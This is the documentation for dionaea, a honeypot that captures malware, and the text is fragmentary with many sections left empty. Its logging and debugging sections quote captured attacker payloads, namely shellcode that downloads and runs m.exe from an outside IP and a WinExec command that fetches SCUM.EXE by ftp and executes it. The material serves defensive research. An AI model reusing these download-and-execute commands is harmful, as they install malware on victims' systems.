## Windows 7 ##
# native_os: Windows 7 Professional 7600
# native_lan_manager: Windows 7 Professional 6.1
# shares:
# ADMIN$:
# comment: Remote Admin
# path: C:\\Windows
# type: disktree
# C$:
# coment: Default Share
# path: C:\\
# type:
# - disktree
# - special
# IPC$:
# comment: Remote IPC
30 Chapter 7. Service
dionaea Documentation, Release 0.7.0
# type: ipc
# Printer:
# comment: Microsoft XPS Document Writer
# type: printq
## Samba ##
# native_os: Windows 6.1
# native_lan_manager: Samba 4.3.11
# shares:
# admin:
# comment: Remote Admin
# path: \\home\\admin
# type: disktree
# share:
# coment: Default Share
# path: \\share
# type: disktree
# IPC$:
# comment: Remote IPC
# path: IPC Service
# type: ipc
# Printer:
# comment: Printer Drivers
# type: printq
7.15 TFTP
Written to test the udp connection code, dionaea provides a tftp server on port 69, which can serve files. Even though
there were vulnerabilities in tftp services, I’m yet to see an automated attack on tftp services.
7.16 UPnP
7.15. TFTP 31
dionaea Documentation, Release 0.7.0
32 Chapter 7. Service
CHAPTER 8
Logging (ihandler)
Getting a copy of the malware is cool, getting an overview of the attacks run on your sensor is priceless.
dionaea can write information to a text file, but be aware, dionaeas logging to text files is rather chatty, really chatty,
and you do not want to look at the information, if you are not debugging the software or writing some new feature for
it.
Of course, you can appy filters to the logging, to limit it to different facilities or levels, but in general you do not want
to work with text files.
dionaea uses some internal communication system which is called incidents. An incident has an origin, which is a
string, a path, and properties, which can be integers, strings, or a pointer to a connection. Incidents limit to the max,
they pass the information required to incident handlers (ihandler). An ihandler can register a path for incidents he
wants to get informed about, the pathes are matched in a glob like fashion. Therefore logging information using an
ihandler is superior to text logging, you get the information you are looking for, and can write it to a format you choose
yourself.
List of available ihandlers
8.1 emuprofile
8.2 fail2ban
33
dionaea Documentation, Release 0.7.0
8.3 ftp
8.4 hpfeeds
8.5 log_db_sql
This incident handler can write interesting information about attacks and connections into an SQL database. It uses
SQLAlchemy to support different databases.
8.6 log_incident
This ihandler can be used to export incidents in realtime to be processed by external programs.
Warning: This ihandler is in pre alpha state and it might be changed or removed in the future.
8.6.1 Configure
handlers
List of URLs to submit the information to. At the moment only file, http and https are supported.
8.6.2 Format
{
"name": "<sensor-name>",
"origin": "<name of the incident>",
"timestamp": "<date in ISO 8601>",
"data": {
"connection": {
"id": <internal ID>,
"local_ip": "<local IP>",
"local_port": <local port>,
"remote_ip": "<remote IP>",
"remote_hostname": "<remote hostname if resolvable>",
"remote_port": <remote port>,
"protocol": "<protocol>",
"transport": "<transport tcp|udp>"
}
}
}
8.6. log_incident 35
dionaea Documentation, Release 0.7.0
8.7 log_json
Warning: This ihandler is in pre alpha state and it might be changed or removed in the near future.
8.7.1 Configure
flat_data
Set to true to flatten object lists.
handlers
List of URLs to submit the information to. At the moment only file, http and https are supported.
8.7.2 Format
{
"connection": {
"local": {
"address": "<string:local ip address>",
"port": <integer:local port>,
},
"protocol": "<string:service name e.g. httpd>",
"remote": {
"address": "<string:remote ip address>",
"port": <integer:remote port>,
"hostname": "<string:hostname of the remote host>"
},
"transport": "<string:transport protocol e.g. tcp or udp>",
"type": "<string:connection type e.g. accepted, listen, ...>"
}
}
8.8 log_sqlite
Warning: This ihandler was renamed in dionaea 0.4.0 from logsql to log_sqlite.
This is what the logsql python script does, it is an ihandler, and writes interesting incidents to a sqlite database, one of
the benefits of this logging is the ability to cluster incidents based on the initial attack when retrieving the data from
the database:
connection 610 smbd tcp accept 10.69.53.52:445 <- 10.65.34.231:2010
dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' opnum 9
p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0'
˓→fw:'0'
offer: fxp://1:1@10.65.34.231:8218/ssms.exe
download: 1d419d615dbe5a238bbaa569b3829a23 fxp://1:1@10.65.34.231:8218/ssms.exe
connection 613 ftpctrl tcp connect 10.69.53.52:37065 -> 10.65.34.231/None:8218
connection 614 ftpdata tcp listen 10.69.53.52:62087
connection 615 ftpdata tcp accept 10.69.53.52:62087 <- 10.65.34.231:2308
p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11
˓→' nat:'0' fw:'0'
Additionally, you can query the database for many different things, refer to:
• dionaea sql logging 2009/11/06 <http://carnivore.it/2009/11/06/dionaea_sql_logging>
• post it yourself 2009/12/08 <http://carnivore.it/2009/12/08/post_it_yourself>
• sqlite performance 2009/12/12 <http://carnivore.it/2009/12/12/sqlite_performance>
• virustotal fun 2009/12/14 <http://carnivore.it/2009/12/14/virustotal_fun>
• Andrew Waite’s Blog <http://infosanity.wordpress.com/> for mimic-nepstats.py
for more examples how to make use of the database.
8.9 nfq
8.8. log_sqlite 37
dionaea Documentation, Release 0.7.0
8.10 p0f
8.11 store
8.12 submit_http
8.13 submit_http_post
8.14 tftp_download
8.15 VirusTotal
This ihandler submits the captured malware samples to the VirusTotal service for further analysis.
8.15.1 Configuration
apikey
The VirusTotal API-Key.
8.13. submit_http_post 39
dionaea Documentation, Release 0.7.0
file
SQLite database file used to cache the results.
Processors
Processors control the actions done on the bi-directional streams we gain when getting attacked, the default is running
the emu processor on them to detect shellcode.
9.1 Emu
9.1.1 Configuration
9.2 Filter
9.2.1 Configuration
protocols
Comma separated list of connection types.
types
Comma separated list of connection types.
• accept - dionaea accepts a new connection from a remote host
• connect - dionaea makes a connection to a remote host
41
dionaea Documentation, Release 0.7.0
9.3 Streamdumper
This processor can dump a connection as bi-directional stream. The dump can be used to replay an attack on ip-level
without messing with pcap and tcpreplay.
9.3.1 Configuration
path
Dumps will be created in this directory.
42 Chapter 9. Processors
CHAPTER 10
Contributing
Bug reports are very welcome. Please file them on the GitHub issue tracker. Good bug reports come with extensive
descriptions of the error and how to reproduce it.
10.2 Patches
All patches to dionaea should be submitted in the form of pull requests to the main dionaea repository, Dino-
Tools/dionaea. These pull requests should satisfy the following properties:
10.2.1 Code
10.2.2 Documentation
43
dionaea Documentation, Release 0.7.0
10.3 Review
Finally, pull requests must be reviewed before merging. Everyone can perform reviews; this is a very valuable way to
contribute, and is highly encouraged.
Development
dionaea initial development was funded by the Honeynet Project as part of the Honeynets Summer of Code during
2009. The development process is as open as possible. You can browse the source online and report bugs on GitHub
11.1 Development
11.1.1 Vagrant
Vagrant can be used to setup a development environment for dionaea within minutes.
Install
Run
Access the development environment, edit the config files and start dionaea with the following command.
45
dionaea Documentation, Release 0.7.0
$ cd /vagrant
$ make
$ sudo make install
Instead of using Vagrant you can use a Ubuntu 14.04 system to setup your development environment. In this section
we will use the scripts used to setup the Vagrant environment to bootstrap a fresh Ubuntu system. If you like you can
follow the Installation ‘From Source’ guide to setup everything by hand.
Install
Rebuild, install and start dionaea from the root of the git repository.
$ make
$ sudo make install
$ sudo /opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg -l all,-debug
˓→-L '*'
To enable AddressSanitizer you have to add the following parameters to the configure script and rebuild dionaea.
When running dionaea it will print information about overfow errors. If you would like to stop execution you have to
export an additional environment variable.
export ASAN_OPTIONS='abort_on_error=1'
To get a stacktrace you can use gdb and add an additional breakpoint break __asan_report_error.
It is also possible to use asan_symbolize.py python2 script to extract additional information.
11.2 Logging
Logging should be used to report errors and for debugging purposes. It must not be used to report attacks. Incidents
should be used for this purpose. For more information have a look at the ihandler section.
Comparison glib2 and Python
glib2 Python
debug debug
info info
warning warning
critical error
error critical
Warning: In glib2 a critical message means critical warning. But in Python a critical message is handled as
critical error.
Warning: An error message in glib2 or a critical message in a Python module will terminate the program
immediately.
11.3 Incident
Some of the incidents reported by the dionaea core are listed below.
dionaea.connection.tcp.accept:
A new TCP connection has been accepted by dionaea.
dionaea.connection.tls.accept:
A new SSL/TLS connection has been accepted by dionaea.
dionaea.connection.tcp.connect:
Reporte after dionaea has connection to an external service via TCP.
dionaea.connection.tls.connect:
Reporte after dionaea has connection to an external service via SSL/TLS.
dionaea.connection.udp.connect:
Reporte after dionaea has connection to an external service via UDP.
dionaea.connection.free:
11.2. Logging 47
dionaea Documentation, Release 0.7.0
Changelog
build
• Add initial cmake support
ci
• Add Debian 9
dionaea
• Fix build error with OpenSSL 1.1.0
• Improve OpenSSL 1.1.0 support
• Cleanup connection code
• Enable bistream for SSL/TLS connections (Thanks Aws0mus)
• Fixing chroot bugs (Thanks Michal Ambroz)
doc
• Add additional information
• Doxygen config file for dionaea c core
• Ubuntu 16.04 install instructions
package
• Remove old and deprecated debian package config
python
• Fix typo in config key
49
dionaea Documentation, Release 0.7.0
dionaea
• Fix build for musl lib
doc
• Fix install instructions
• Extend README.md
python/blackhole
• New service/Initial version
python/emu_scripts
• New handler to analyse downloaded scripts
• Detect VBScript and PowerShell
• Limit number of subdownloads
python/http
• Clean up
• Use state vars instead of strings
• Add template support * Jinja 2 template engine * nginx template
python/mysql
dionaea
• Don’t report ‘connection.free’ incident to early to prevent segmentation faults
dionaea
• Handle byte objects in incidents
• Bump required Python version from 3.2 to 3.4
python/http
• Detect Shellshock attacks
python/log_incident
• Initial support to export raw incident information
python/log_sqlite
• Log credentials from the ftp service
python/memcache
• Initial support for the memcached protocol
python/pptp
• Clean up
• Handle CallClearRequests packets
• Values for hostname, vendor name and firmware revision are now customizable
python/util
• New function to detect shellshock attacks and report detected URLs
doc
• Add information about log levels for developers
python/*
• Replace all critical log messages with error messages
• Catch exceptions in handle_io_in() and handle_io_out() to improve stability
• Catch exceptions in incident handlers
python/sip
• Fix error while reading config values
python/upnp
• Fix errors in log messages
more
• Add templates to create issues and merge requests on github
python/*
• Replace lcfg with yaml configs
• Remove deprecated incident handlers (logxmpp, mwserv, SurfIDS)
• Rename incident handlers from logsql to log_sqlite
• Rename incident handlers from uniqdownload to submit_http_post
python/mysql
• Enable processor pipeline
12.12 0.1.0
• Initial release.
FAQ
13.1 Build/Install
55
dionaea Documentation, Release 0.7.0
Unable to build.
==> default: libtool: Version mismatch error. This is libtool 2.4.6 Debian-
˓→2.4.6-2, but the
==> default: libtool: definition of this LT_INIT comes from libtool 2.4.2.
==> default: libtool: You should recreate aclocal.m4 with macros from
˓→libtool 2.4.6 Debian-2.4.6-2
Warning: This will remove all ignored and untracked files from the directory. Use –dry-run
13.2 Run
I get OperationalError at unable to open database file when using logsqlite and it does not work at all
Read the logsql instructions <#logsql>
I get a Segmentation Fault
Read the segfault instructions <#segfault>
I logrotate, and after logrotate dionaea does not log anymore.
Read the logrotate instructions <#logging>
p0f does not work.
Make sure your have p0f 2.0.8 and dionaea does not listen on ::, p0f can’t deal with IPv6.
I’m facing a bug, it fails, and I can’t figure out why.
Explain the problem, if I’m interested in the nature of the problem, as it does not sound like pebcak, I may
ask for a shell/screen and have a look myself, and if it is worth it, you’ll even get a FAQ entry for some
specialties of your OS.
Unable to bind to port after dropping privileges
Dropping privileges and binding to ports lower than 1024 is only support on Linux systems. If some of
the optional build dependencies are missing dionaea might not be able to bind to these ports too. After
enabling all log levels it should display some log messages like in the example below.
To fix this issue you have to install the kernel headers for your kernel and rebuild dionaea. If everything
works as it should you might get log messages like in the example below. You might have noticed that
there is now a pchild section. This means dionaea is using a child process with extended privileges to bind
to the port.
13.2. Run 57
dionaea Documentation, Release 0.7.0
Dionaea does not have and may never will have a function/option to rotate the bistream files. But you can do this by
using a cron job and a simple shell script.
Feel free to use and modify the script below.
#!/bin/bash
59
dionaea Documentation, Release 0.7.0
Support
Google:
Google has supported 3 students to work on dionaea during GSoc 2009, GSoc 2010 and GSoc 2011.
SURFnet:
SURFnet has supported the project in the past(2010?-2014?). Working with SURFnet is a real pleasure.
15.2 Support
If you are getting frustrated, because things to not work for you and you already read the FAQ, join the ml and share
your experience, or the chat.
GitHub
Use the issue tracker to report any problem.
Website: Issue tracker
IRC
From time to time some of the developers join the #nepenthes channel on freenode. irc://irc.freenode.org/
nepenthes
Mailing List:
Only a few messages every year. Seems to be dead, no message since 2015.
Website: Mailinglist nepenthes-devel
61
dionaea Documentation, Release 0.7.0
15.3 Links
Exploitation
Attackers do not seek your service, attackers want to exploit you, they’ll chat with the service for some packets, and
afterwards sent a payload. dionaea has to detect and evaluate the payload to be able to gain a copy of the malware. In
order to do so, dionaea uses libemu.
Given certain circumstances, libemu can detect shellcode, measure the shellcode, and if required even execute the
shellcode. Shellcode detection is done by making use of GetPC heuristics, others wrote papers about it, we decided to
write libemu to do so. This detection is rather time consuming, and therefore done using threads.
The part of dionaea which takes care of the network io can create a copy of all in/output run for a connection, this copy
is passed to the detection facility, which is a tree of detection facilities, at this moment there is only a single leaf, the
emu plugin. The emu plugin uses threads and libemu to detect and profile/measure shellcode.
Shellcode measurement/profiling is done by running the shellcode in the libemu vm and recording API calls and
arguments. For most shellcode profiling is sufficient, the recorded API calls and arguments reveal enough information
to get an idea of the attackers intention and act upon them. For multi-stage shellcode, where the first exploitation
stage of the shellcode would retrieve a second shellcode from the attacker, profiling is not sufficient, as we lack
the information ‘what to do’ from the second stage of the shellcode, in this case we need to make use of shellcode
execution. Shellcode execution is basically the same as shellcode profiling, the only difference is not recording the api
calls, and we allow the shellcode to take certain actions, for example creating a network connection.
16.1 Payloads
Once we have the payload, and the profile, dionaea has to guess the intention, and act upon it
This payload offers a shell (cmd.exe prompt) to the attacker, either by binding a port and waiting for the attacker
to connect to us again, or by connection to the attacker. In both cases, dionaea offers an cmd.exe emulation to the
attacker, parses the input, and acts upon the input, usually the instructions download a file via ftp or tftp.
63
dionaea Documentation, Release 0.7.0
16.1.2 URLDownloadToFile
These shellcodes use the URLDownloadToFile api call to retrieve a file via http, and execute the retrieved file after-
wards
16.1.3 Exec
Making use of WinExec, these shellcode execute a single command which has to be parsed and processed like the
bind/connectback shell shellcommands.
We never know what the second stage is, therefore libemu is used to execute the shellcode in the libemu vm.
Downloads
Once dionaea gained the location of the file the attacker wants it to downloads from the shellcode, dionaea will try
to download the file. The protocol to downloads files via tftp and ftp is implemented in python (ftp.py and tftp.py)
as part of dionaea, downloading files via http is done in the curl module - which makes use of libcurl’s awsome http
capabilities. Of course libcurl can run downloads for ftp too, but the ftp services embedded in malware a designed to
work with windows ftp.exe client, and fail for others.
65
dionaea Documentation, Release 0.7.0
Submit
Once dionaea got a copy of the worm attacking her, we may want to store the file locally for further analysis, or submit
the file to some 3rd party for further analysis.
dionaea can http/POST the file to several services like CWSandbox, Norman Sandbox or VirusTotal.
67
dionaea Documentation, Release 0.7.0
Configuration - dionaea.conf
If you want to change the software, it is really important to understand how it works, therefore please take the time to
how it works. dionaea.conf is the main configuration file, the file controls consists of sections for:
• logging
• processors
• downloads
• bistreams
• submit
• listen
• modules
19.1 logging
The logging section controls . . . logging, you can specify log domains and loglevel for different logfiles. As dionaea
is pretty . . . verbose, it is useful to rotate the logfiles using logrotate.
69
dionaea Documentation, Release 0.7.0
//etc/logrotate.d/dionaea/
19.2 modules
downloads specify where to store downloaded malware. bistreams specify where to store bi-directional streams, these
are pretty useful when debugging, as they allow to replay an attack on ip-level, without messing with pcap&tcpreplay,
which never worked for me. submit specifies where to send files to via http or ftp, you can define a new section within
submit if you want to add your own service. listen sets the addresses dionaea will listen to. The default is all addresses
it can find, this mode is call getifaddrs, but you can set it to manual and specify a single address if you want to limit it.
modules is the most powerfull section, as it specifies the modules to load, and the options for each module.
19.2.1 logsql
This section controls the logging to the sqlite database. logsql does not work when chrooting - python makes the path
absolute and fails for requests after chroot().
logsql requires the directory where the logsql.sqlite file resides to be writeable by the user, as well as the logsql.sqlite
file itself. So, if you drop user privs, make sure the user you drop to is allowed to read/write the file and the directory.
To query the logsql database, I recommend looking at the readlogsqltree.py <#readlogsqltree> script, for visualisation
the gnuplotsql <#gnuplotsql> script.
The blog on logsql:
• 2009-11-06 dionaea sql logging <http://carnivore.it/2009/11/06/dionaea_sql_logging>
• 2009-12-08 post it yourself <http://carnivore.it/2009/12/08/post_it_yourself>
• 2009-12-12 sqlite performance <http://carnivore.it/2009/12/12/sqlite_performance>
• 2009-12-14 virustotal fun <http://carnivore.it/2009/12/14/virustotal_fun>
• 2009-12-15 paris mission pack avs <http://carnivore.it/2009/12/15/paris_mission_pack_avs>
• 2010-06-06 data visualisation <http://carnivore.it/2010/06/06/data_visualisation>
19.2.2 logxmpp
This section controls the logging to xmpp services. If you want to use logxmpp, make sure to enable logxmpp in the
ihandler section. Using logxmpp allows you to share your new collected files with other sensors anonymously.
The blog on logxmpp:
• 2010-02-10 xmpp backend <http://carnivore.it/2010/02/10/xmpp_backend>
• 2010-05-12 xmpp take #2 <http://carnivore.it/2010/05/12/xmpp_-_take_2>
• 2010-05-15 xmpp take #3 <http://carnivore.it/2010/05/15/xmpp_-_take_3>
pg_backend <#pg_backend> can be used as a backend for xmpp logging sensors.
19.2.3 p0f
Not enabled by default, but recommend: the p0f service, enable by uncommenting p0f in the ihandlers section of the
python modules section, and start p0f as suggested in the config. It costs nothing, and gives some pretty cool, even if
outdated, informations about the attackers operating system, and you can look them up from the sqlite database, even
the rejected connections. If you face problems, here <http://blog.infosanity.co.uk/2010/12/04/dionaea-with-p0f/> are
some hints.
19.2.4 ihandlers
ihandlers section is used to specify which ihandlers get started by ihandlers.py . You do not want to miss p0f and
logsql.
19.2.5 services
19.2. modules 71
dionaea Documentation, Release 0.7.0
Utils
Dionaea ships with some utils, as these utils are written in python and rely on the python3 interpreter dionaea requires
to operate, this software can be found in modules/python/utils.
readlogsqltree <#readlogsqltree> - modules/python/readlogsqltree.py
readlogsqltree is a python3 script which queries the logsql sqlite database for attacks, and prints out all related infor-
mation for every attack. This is an example for an attack, you get the vulnerability exploited, the time, the attacker,
information about the shellcode, the file offered for download, and even the virustotal report for the file.
2010-10-07 20:37:27
connection 483256 smbd tcp accept 10.0.1.11:445 <- 93.177.176.190:47650 (483256 None) dcerpc bind:
uuid ‘4b324fc8-1670-01d3-1278-5a47bf6ee188’ (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-
08002b104860 dcerpc bind: uuid ‘7d705026-884d-af82-7b3d-961deaeb179a’ (None) transfersyntax
8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid ‘7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1’
(None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid ‘8b52c8fd-
cc85-3a74-8b15-29e030cdac16’ (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid ‘9acbde5b-25e1-7283-1f10-a3a292e73676’ (None) transfersyntax 8a885d04-
1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid ‘9f7e2197-9e40-bec9-d7eb-a4b0f137fe95’ (None)
transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid ‘a71e0ebe-6154-e021-
9104-5ae423e682d0’ (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind:
uuid ‘b3332384-081f-0e95-2c4a-302cc3080783’ (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-
08002b104860 dcerpc bind: uuid ‘c0cdf474-2d09-f37f-beb8-73350c065268’ (None) transfersyntax
8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid ‘d89a50ad-b919-f35c-1c99-4153ad1e6075’
(None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid ‘ea256ce5-8ae1-
c21b-4a17-568829eec306’ (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc
request: uuid ‘4b324fc8-1670-01d3-1278-5a47bf6ee188’ (SRVSVC) opnum 31 (NetPathCanoni-
calize (MS08-67)) profile: [{‘return’: ‘0x7df20000’, ‘args’: [‘urlmon’], ‘call’: ‘LoadLibraryA’},
{‘return’: ‘0’, ‘args’: [‘’, ‘http://208.53.183.158/m.exe’, ‘60.exe’, ‘0’, ‘0’], ‘call’: ‘URLDownload-
ToFile’}, {‘return’: ‘32’, ‘args’: [‘60.exe’, ‘895’], ‘call’: ‘WinExec’}, {‘return’: ‘0’, ‘args’: [‘-1’],
‘call’: ‘Sleep’}] offer: http://208.53.183.158/m.exe download: 3eab379ddac7d80d3e38399fd273ddd4
http://208.53.183.158/m.exe
virustotal 2010-10-07 04:59:07 5/38 (13%) http://www.virustotal.com/file-scan/report.html?id=265e39edcba9d90
73
dionaea Documentation, Release 0.7.0
Segfault
In case you experience a segfault, you will see something like this:
This is the end. This software just had a segmentation fault. The bug you encountered may even be exploitable. If you
want to assist in fixing the bug, please send the backtrace below to nepenthesdev@gmail.com. You can create better
backtraces with gdb, for more information visit http://dionaea.carnivore.it/#segfault Once you read this message, your
tty may be broken, simply type reset, so it will come to life again
/opt/dionaea/bin/dionaea(sigsegv_backtrace_cb+0x20)[0x805c11e] [0x70d420] /opt/dionaea/lib/libemu/libemu.so.2(emu_env_w32_eip_
/opt/dionaea/lib/dionaea/emu.so(run+0x39)[0x89cced] /opt/dionaea/lib/dionaea/emu.so(profile+0xbb)[0x89db88]
/opt/dionaea/lib/dionaea/emu.so(proc_emu_on_io_in+0x1e1)[0x89bfc5] /opt/dionaea/bin/dionaea(recurse_io_process+0x31)[0x805df4a
/opt/dionaea/bin/dionaea(processors_io_in_thread+0x85)[0x805e08d] /opt/dionaea/bin/dionaea(threadpool_wrapper+0x2e)[0x805c99a]
/opt/dionaea/lib/libglib-2.0.so.0[0xaa9498] /opt/dionaea/lib/libglib-2.0.so.0[0xaa7a2f] /lib/libpthread.so.0[0xd8973b]
/lib/libc.so.6(clone+0x5e)[0x2b3cfe]
While the backtrace itself gives an idea what might be wrong, it does not fix the problem. To fix the problem, the
logfiles usually help, as dionaea is very verbose by default. Below are some hints how to get started with debugging,
click here <#support> for assistance.
debugging
Valgrind
Valgrind does a great job, here is how I use it:
valgrind -v –leak-check=full –leak-resolution=high –show-reachable=yes –log-file=dionaea-debug.log
/opt/dionaea/bin/dionaea –my-dionaea-options
gdb
logfile assisted
For the above example, I was able to scrape the shellcode from the logfile, and run it in libemu, without involving
dionaea at all, reducing the problem.
gdb /opt/dionaea/bin/sctest (gdb) run -S -s 10000000 -g < sc.bin Starting program: /me-
dia/sda4/opt64/dionaea/bin/sctest -S -s 10000000 -g < sc.bin
Once it crashed, I retrieved a full backtrace:
75
dionaea Documentation, Release 0.7.0
77
dionaea Documentation, Release 0.7.0
homedirectory of the user dionaea runs as. If you get /warning: not using untrusted file “/home/user/.gdbinit”/ you
are running gdb via sudo, and the file /home/user/.gdbinit has to be owned by root. If you are running as root, and
you get /Program received signal SIGTTOU, Stopped (tty output)./, run stty -nostop before running gdb, reattach the
process with fg, close gdb properly, and start over.
Once you got the macros loaded properly at gdb startup, set a breakpoint on PyEval_EvalFrameEx after dionaea loaded
everything:
break PyEval_EvalFrameEx
Then we have some useful macros for gdb:
up pyframev
pyframev combines the output of pyframe and pylocals.
Be aware you can segfault dionaea now from within gdb, going up, out of the python call stack and calling some of
the macros can and in most cases will segfault dionaea, therefore use backtrace to make sure you are still within valid
frames. We can’t use pystack or pystackv as they rely on Py_Main, which is an invalid assumption for embedded
python.
dionaea embedds a python interpreter, and can offer a python cli therefore too. The python cli is blocking, if you start
entering a command, the whole process will wait for you to finish it, and not accept any new connections. You can use
the python cli to interact with dionaea, which is very useful for development and debugging.
22.1 Configuration
If you use the cli often, you can make it behave like a real shell, including history and completition.:
Sometimes it helps to trigger a download, without waiting for an attack. Very useful if you want to verify permissions
are correct when switching the user, or making sure a submission to a 3rd party works correctly. You can trigger
downloads for all major protocols.
79
dionaea Documentation, Release 0.7.0
22.4 ftp
22.5 tftp
22.6 http
As the http download is not done in python, we do not use the download facility directly, but create an incident, which
will trigger the download:
22.7 incidents
22.8 dumping
a = idumper('*')
˓→": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0",
˓→"ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0
˓→", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0
˓→", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0",
˓→": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "ExitThread", "args": ["0
22.11 URLDownloadToFile
˓→ "0"], "return": "0"}, {"call": "WinExec", "args": ["47.scr", "895"], "return": "32
˓→"}]'
This profile uses WinExec to create a command file for windows ftp client, downloads a file, and executes the file.:
p='[{"call": "WinExec", "args": ["cmd /c echo open welovewarez.com 21 > i&echo user
˓→wat l0l1 >> i &echo get SCUM.EXE >> i &echo quit >> i &ftp -n -s:i &SCUM.EXE\\r\\n",
• genindex
• modindex
• search
83